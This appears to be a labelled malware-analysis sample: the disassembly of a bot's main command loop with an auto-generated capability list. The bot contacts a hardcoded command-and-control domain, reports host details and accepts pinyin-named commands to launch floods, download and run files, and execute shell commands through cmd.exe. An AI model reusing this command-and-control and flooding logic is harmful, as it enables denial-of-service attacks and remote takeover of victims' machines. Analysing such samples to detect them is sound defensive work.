Function at 0x403252
Capabilities:
Act as tcp client
Check os version
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create thread
Create udp socket
Get hostname
Get memory capacity
Get socket status
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x410a46
mov eax, dword fs:[0]
push eax
sub esp, 0x390
mov eax, dword [0x415020]
xor eax, esp
mov dword [esp + 0x388], eax
push ebx
push esi
push edi
mov eax, dword [0x415020]
xor eax, esp
push eax
lea eax, [esp + 0x3a0]
mov dword fs:[0], eax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
xor eax, eax
mov dword [esp + 0x24], esi
cmp esi, 0xffffffff
je 0x4045c3
lea edi, [esp + 0x1ee]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 2
pop eax
mov edi, str.xiaowua77.havecome.com
push edi
mov word [esp + 0x1f0], ax
call fcn.00401edc
xor ebx, ebx
pop ecx
cmp eax, ebx
jne 0x4032df
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x52
mov dword [esp + 0x1f4], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1ee], ax
push 0x10
lea eax, [esp + 0x1f0]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x403329
push esi
mov dword [0x4172b4], ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0xce4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4045c1
push 0xff
lea eax, [esp + 0x298]
push eax
mov dword [0x416048], ebx
mov dword [0x4172b4], 1
mov dword [0x417230], esi
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0x294]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x34], eax
mov eax, dword [0x416124]
mov esi, 0x416124
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x38], eax
lea eax, [esp + 0x40]
push eax
lea edi, [esp + 0x298]
mov dword [esp + 0x3ac], ebx
call fcn.00404998
mov byte [esp + 0x3a8], 1
push dword [esp + 0x34]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.00404a27
lea eax, [esp + 0x1fc]
push eax
mov dword [esp + 0x200], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [0x416124]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x2c], eax
mov byte [esp + 0x3a8], 2
cmp dword [esp + 0x200], 5
jne 0x403424
cmp dword [esp + 0x204], ebx
jne 0x403402
push str.Windows_2000
jmp 0x403454
cmp dword [esp + 0x204], 1
jne 0x403413
push str.Windows_XP
jmp 0x403454
cmp dword [esp + 0x204], 2
jne 0x40345e
push str.Windows_2003
jmp 0x403454
cmp dword [esp + 0x200], 6
jne 0x40344f
cmp dword [esp + 0x204], ebx
jne 0x40343e
push str.Windows_Vista
jmp 0x403454
cmp dword [esp + 0x204], 1
jne 0x40345e
push str.Windows_7
jmp 0x403454
push str.Windows
lea eax, [esp + 0x30]
push eax
call fcn.00404a27
push 8
pop ecx
xor eax, eax
lea edi, [esp + 0xc4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc4]
push eax
mov dword [esp + 0xc8], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [0x416124]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0x3a8], 3
mov eax, dword [esp + 0xcc]
shr eax, 0x14
push eax
push str._dMB
lea eax, [esp + 0x3c]
call fcn.00405080
pop ecx
pop ecx
push 0x412e34
lea esi, [esp + 0x3c]
call fcn.00404a56
mov edi, eax
mov eax, dword [0x416124]
mov esi, 0x416124
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x28], eax
push edi
mov byte [esp + 0x3ac], 4
mov eax, dword [esp + 0x3c]
push ebx
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x48], esp
mov edi, esp
mov dword [esp + 0x48], eax
call fcn.00404f2c
add eax, 0x10
mov dword [edi], eax
lea eax, [esp + 0x2c]
push eax
call fcn.004010c1
add esp, 0x10
lea edi, [esp + 0x28]
mov byte [esp + 0x3a8], 5
call fcn.004049e6
mov byte [esp + 0x3a8], 4
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
call fcn.004010a9
push 0x412e38
push dword [esp + 0x2c]
call fcn.00405fd7
push 0x412e3c
push dword [esp + 0x34]
cmp eax, ebx
sete byte [esp + 0x27]
call fcn.00405fd7
push 0x412e40
push dword [esp + 0x3c]
cmp eax, ebx
sete byte [esp + 0x4b]
call fcn.00405fd7
add esp, 0x18
cmp eax, ebx
sete al
or al, byte [esp + 0x33]
or al, byte [esp + 0x17]
mov eax, edi
je 0x40358a
push 0x412e44
jmp 0x40358f
push 0x412e50
push eax
call fcn.00404a27
mov eax, dword [0x416124]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x1c], eax
mov edi, 0x7d0
push edi
lea eax, [esp + 0x20]
mov byte [esp + 0x3ac], 6
call fcn.00404c40
push edi
push ebx
lea esi, [esp + 0x24]
call fcn.00404c29
push eax
call fcn.00406230
add esp, 0xc
lea ecx, [esp + 0x18]
call fcn.00402951
mov esi, eax
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x3ac], 7
call fcn.00401dcc
mov byte [esp + 0x3ac], 8
mov dword [esp], str.1.29
push dword [0x416044]
push dword [esi]
push dword [esp + 0x34]
push dword [esp + 0x44]
push dword [eax]
lea eax, [esp + 0x34]
push dword [esp + 0x44]
push dword [esp + 0x5c]
push dword [esp + 0x58]
push 0x412e60
call fcn.00405080
mov eax, dword [esp + 0x48]
add esp, 0x28
add eax, 0xfffffff0
call fcn.004010a9
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.004010a9
push ebx
push edi
lea esi, [esp + 0x24]
call fcn.00404c29
push eax
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_send]
push edi
push ebx
call fcn.00404c29
push eax
call fcn.00406230
add esp, 0xc
push ebx
push ebx
push ebx
push 0x40310a
push ebx
push ebx
mov dword [0x4172b4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [esp + 0x24]
lea eax, [esp + 0xbc]
push eax
push ebx
push ebx
lea eax, [esp + 0xf0]
push eax
push ebx
mov dword [esp + 0xfc], esi
mov dword [esp + 0xf8], 1
mov dword [esp + 0xd0], ebx
mov dword [esp + 0xd4], 0x32
call dword [sym.imp.WS2_32.dll_select]
cmp eax, ebx
jle 0x404530
lea eax, [esp + 0xe4]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x404530
push ebx
push edi
lea esi, [esp + 0x24]
call fcn.00404c29
push eax
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, ebx
jle 0x40451c
mov esi, dword [esp + 0x1c]
push 6
push ebx
push ecx
add esi, 0xfffffff0
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
mov dword [esp + 0x2c], esi
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0x80]
push eax
call fcn.004010c1
add esp, 0x10
push str.ZAIM
push eax
mov byte [esp + 0x3b0], 9
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x403780
mov dword [0x416048], ebx
jmp 0x404508
push 6
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0xac]
push eax
call fcn.004010c1
add esp, 0x10
push str.TANC
push eax
mov byte [esp + 0x3b0], 0xa
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x403923
push dword [esp + 0x1c]
mov esi, 0x4172cc
push esi
call fcn.00404a27
push str.LeiX
call fcn.00404a56
push eax
push str.Biao
call fcn.00404a56
add eax, 6
push eax
mov eax, dword [0x4172cc]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x58]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172bc
mov byte [esp + 0x3a8], 0xb
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
call fcn.004010a9
push str.Biao
mov esi, 0x4172cc
call fcn.00404a56
push eax
mov eax, dword [0x4172cc]
push 6
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0xc0]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172d0
mov byte [esp + 0x3a8], 0xc
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
call fcn.004010a9
push str.JieS
mov esi, 0x4172cc
call fcn.00404a56
push eax
push str.LeiX
call fcn.00404a56
mov edi, dword [0x4172cc]
add eax, 6
push eax
push ecx
mov eax, esp
mov dword [esp + 0x24], esp
push eax
call fcn.00404998
lea eax, [esp + 0x60]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x41722c], eax
mov eax, dword [esp + 0x68]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
push ebx
push ebx
push ebx
push 0x40289a
jmp 0x403bb2
push 6
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0xa0]
push eax
call fcn.004010c1
add esp, 0x10
push str.Guan
push eax
mov byte [esp + 0x3b0], 0xd
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x4039e7
push dword [esp + 0x1c]
mov esi, 0x4172cc
push esi
call fcn.00404a27
push str.JieS
call fcn.00404a56
push eax
mov eax, dword [esp + 0x24]
push 6
push ecx
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x68]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x417218], eax
mov eax, dword [esp + 0x70]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
call fcn.00401e66
jmp 0x404508
push 6
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0xb4]
push eax
call fcn.004010c1
add esp, 0x10
push str.Down
push eax
mov byte [esp + 0x3b0], 0xe
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x403bbf
push str.LuJi
lea esi, [esp + 0x20]
call fcn.00404a56
mov edi, dword [esp + 0x1c]
push eax
push 6
push ecx
mov eax, esp
mov dword [esp + 0x24], esp
push eax
call fcn.00404998
lea eax, [esp + 0x70]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172b8
mov byte [esp + 0x3a8], 0xf
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
call fcn.004010a9
push str.Zhix
call fcn.00404a56
push eax
push str.LuJi
call fcn.00404a56
mov edi, dword [esp + 0x20]
add eax, 6
push eax
push ecx
mov eax, esp
mov dword [esp + 0x24], esp
push eax
call fcn.00404998
lea eax, [esp + 0xa8]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172d4
mov byte [esp + 0x3a8], 0x10
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x9c]
add eax, 0xfffffff0
call fcn.004010a9
push str.JieS
call fcn.00404a56
push eax
push str.Zhix
call fcn.00404a56
mov edi, dword [esp + 0x20]
add eax, 6
push eax
push ecx
mov eax, esp
mov dword [esp + 0x24], esp
push eax
call fcn.00404998
lea eax, [esp + 0x78]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x417228], eax
mov eax, dword [esp + 0x80]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
push str.GengXin
call fcn.00404a56
push eax
push str.JieS
call fcn.00404a56
add eax, 6
push eax
push ecx
mov eax, esp
mov dword [esp + 0x24], esp
push eax
call fcn.00404998
lea eax, [esp + 0xbc]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x417234], eax
mov eax, dword [esp + 0xc4]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
push ebx
push ebx
push ebx
push 0x4028ba
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x404189
push 6
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0x50]
push eax
call fcn.004010c1
add esp, 0x10
push str.Gong
push eax
mov byte [esp + 0x3b0], 0x11
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x404193
push str.LeiX
lea esi, [esp + 0x20]
mov dword [0x416044], ebx
call fcn.00404a56
push eax
push str.JieS
call fcn.00404a56
add eax, 6
push eax
mov eax, dword [esp + 0x28]
push ecx
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0xb0]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172c0
mov byte [esp + 0x3a8], 0x12
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
call fcn.004010a9
mov edi, str.XianCheng
push edi
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push str.DuanKou
call fcn.00404a56
add eax, 9
push eax
mov eax, dword [esp + 0x28]
push ecx
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x88]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x417220], eax
mov eax, dword [esp + 0x90]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
push str.Time
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push edi
call fcn.00404a56
add eax, 0xb
push eax
mov eax, dword [esp + 0x28]
push ecx
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0xc4]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x416bd8], eax
mov eax, dword [esp + 0xcc]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
mov edi, str.XianChengDelay
push edi
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push str.Time
call fcn.00404a56
add eax, 6
push eax
mov eax, dword [esp + 0x28]
push ecx
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x90]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x41721c], eax
mov eax, dword [esp + 0x98]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
push str.JieS
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push edi
call fcn.00404a56
add eax, 0x10
push eax
mov eax, dword [esp + 0x28]
push ecx
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0xb8]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x417214], eax
mov eax, dword [esp + 0xc0]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
push str.JieS
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push edi
call fcn.00404a56
mov edi, dword [esp + 0x24]
add eax, 0x10
push eax
push ecx
mov eax, edi
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x98]
push eax
call fcn.004010c1
push dword [eax]
call fcn.00405830
mov dword [0x417214], eax
mov eax, dword [esp + 0xa0]
add esp, 0x14
add eax, 0xfffffff0
call fcn.004010a9
push 0x412ec4
push dword [0x4172c0]
call fcn.00405fd7
pop ecx
pop ecx
cmp eax, ebx
sete al
cmp al, bl
je 0x403f73
mov esi, dword [esp + 0x1c]
cmp dword [esi - 0xc], 0xe
jg 0x403e8b
mov eax, 0xffffffff
jmp 0x403ea3
lea eax, [esi + 0xe]
push 0x2f
push eax
call fcn.00405ba6
pop ecx
pop ecx
cmp eax, ebx
jne 0x403ea1
or eax, 0xffffffff
jmp 0x403ea3
sub eax, esi
push eax
push 0xd
push ecx
mov eax, edi
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x54]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172c4
mov byte [esp + 0x3a8], 0x13
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
call fcn.004010a9
push str.DuanKou
lea esi, [esp + 0x20]
call fcn.00404a56
mov esi, dword [esp + 0x1c]
cmp dword [esi - 0xc], 0xe
push eax
jle 0x403f16
lea eax, [esi + 0xe]
push 0x2f
push eax
call fcn.00405ba6
pop ecx
pop ecx
cmp eax, ebx
jne 0x403f1b
or eax, 0xffffffff
jmp 0x403f1d
sub eax, esi
push eax
mov eax, dword [esp + 0x28]
push ecx
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x5c]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172dc
mov byte [esp + 0x3a8], 0x14
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
call fcn.004010a9
push ebx
push ebx
push ebx
push 0x403169
jmp 0x404118
push 0x412ec8
push dword [0x4172c0]
call fcn.00405fd7
cmp eax, ebx
sete al
pop ecx
pop ecx
cmp al, bl
je 0x404001
push str.DuanKou
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push 6
push ecx
mov eax, edi
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x64]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172c4
mov byte [esp + 0x3a8], 0x15
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
call fcn.004010a9
push 0x412bf8
push 0x4172dc
call fcn.00404a27
push ebx
push ebx
push ebx
push 0x401d1f
jmp 0x404118
push str.ICMP
push dword [0x4172c0]
call fcn.00405fd7
cmp eax, ebx
sete al
pop ecx
pop ecx
cmp al, bl
je 0x40408f
push str.DuanKou
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push 6
push ecx
mov eax, edi
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x6c]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172c4
mov byte [esp + 0x3a8], 0x16
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
call fcn.004010a9
push 0x412bf8
push 0x4172dc
call fcn.00404a27
push ebx
push ebx
push ebx
push 0x401805
jmp 0x404118
push 0x412ed4
push dword [0x4172c0]
call fcn.00405fd7
cmp eax, ebx
sete al
pop ecx
pop ecx
cmp al, bl
je 0x404120
push str.DuanKou
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push 6
push ecx
mov eax, edi
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x74]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172c4
mov byte [esp + 0x3a8], 0x17
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
call fcn.004010a9
push 0x412bf8
push 0x4172dc
call fcn.00404a27
push ebx
push ebx
push ebx
push 0x401618
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [0x416124]
mov ecx, 0x416124
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
push str.JieS
mov byte [esp + 0x3ac], 0x18
push dword [0x416044]
lea eax, [esp + 0x28]
push str._d_s
call fcn.00405080
mov eax, dword [esp + 0x2c]
mov eax, dword [eax - 0xc]
add esp, 0xc
push ebx
push eax
lea esi, [esp + 0x28]
call fcn.00404c29
push eax
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_send]
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
call fcn.004010a9
mov edi, 0x7d0
jmp 0x404508
push 6
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0x7c]
push eax
call fcn.004010c1
add esp, 0x10
push str.Stop
push eax
mov byte [esp + 0x3b0], 0x19
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x404219
mov eax, dword [0x416124]
mov ecx, 0x416124
mov dword [0x416044], 1
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov byte [esp + 0x3a8], 0x1a
jmp 0x404296
push 0xe
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0x84]
push eax
call fcn.004010c1
add esp, 0x10
push str.GetZhuangTai
push eax
mov byte [esp + 0x3b0], 0x1b
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x78]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x4042e8
mov eax, dword [0x416124]
mov ecx, 0x416124
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov byte [esp + 0x3a8], 0x1c
push str.JieS
push dword [0x416044]
lea eax, [esp + 0x28]
push str._d_s
call fcn.00405080
mov eax, dword [esp + 0x2c]
mov eax, dword [eax - 0xc]
add esp, 0xc
push ebx
push eax
lea esi, [esp + 0x28]
call fcn.00404c29
push eax
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_send]
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
call fcn.004010a9
jmp 0x404508
push 6
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0x8c]
push eax
call fcn.004010c1
add esp, 0x10
push str.Ping
push eax
mov byte [esp + 0x3b0], 0x1d
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x404363
push ebx
push 7
push str.Ping
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x404508
push 5
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0x94]
push eax
call fcn.004010c1
add esp, 0x10
push str.CMD
push eax
mov byte [esp + 0x3b0], 0x1e
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
je 0x4044a4
push str.JieS
lea esi, [esp + 0x20]
call fcn.00404a56
push eax
push str.close
call fcn.00404a56
add eax, 7
push eax
mov eax, dword [esp + 0x28]
push ecx
mov dword [esp + 0x24], esp
mov esi, esp
call fcn.00404f2c
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0x9c]
push eax
call fcn.004010c1
add esp, 0x10
mov edi, 0x4172d8
mov byte [esp + 0x3a8], 0x1f
call fcn.004049e6
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x90]
add eax, 0xfffffff0
call fcn.004010a9
push 0x1f4
mov edi, 0x4172c8
push ebx
mov esi, edi
call fcn.00404c29
push eax
call fcn.00406230
add esp, 0xc
mov esi, 0x4172d8
call fcn.00404c29
push eax
push str.cmd.exe__c
push 0x416be0
push str._s_s_s
mov eax, edi
call fcn.00405080
add esp, 0x10
push 0x417240
push 0x417250
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
mov esi, edi
call fcn.00404c29
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, 0x7d0
test eax, eax
je 0x40368c
jmp 0x404508
push 6
push ebx
push ecx
mov dword [esp + 0x24], esp
mov eax, esi
mov dword [esp + 0x24], esp
call fcn.00404f2c
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
lea eax, [esp + 0xa4]
push eax
call fcn.004010c1
add esp, 0x10
push str.XieZ
push eax
mov byte [esp + 0x3b0], 0x20
call fcn.00404cd8
neg eax
sbb al, al
inc al
mov byte [esp + 0x17], al
mov byte [esp + 0x3a8], 6
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
call fcn.004010a9
cmp byte [esp + 0x17], bl
jne 0x404551
push edi
push ebx
lea esi, [esp + 0x24]
call fcn.00404c29
push eax
call fcn.00406230
add esp, 0xc
push edi
push ebx
lea esi, [esp + 0x24]
call fcn.00404c29
push eax
call fcn.00406230
add esp, 0xc
cmp dword [0x4172b4], ebx
je 0x404562
push edi
push ebx
lea esi, [esp + 0x24]
call fcn.00404c29
push eax
call fcn.00406230
add esp, 0xc
jmp 0x40368c
push dword [esp + 0x24]
call dword [sym.imp.WS2_32.dll_closesocket]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [esp + 0x24]
mov dword [0x4172b4], ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov dword [0x416044], 1
call fcn.004010a9
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.004010a9
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
call fcn.004010a9
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
call fcn.004010a9
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
call fcn.004010a9
mov eax, dword [esp + 0x3c]
call fcn.004010a9
xor eax, eax
mov ecx, dword [esp + 0x3a0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x388]
xor ecx, esp
call fcn.00405495
mov esp, ebp
pop ebp
ret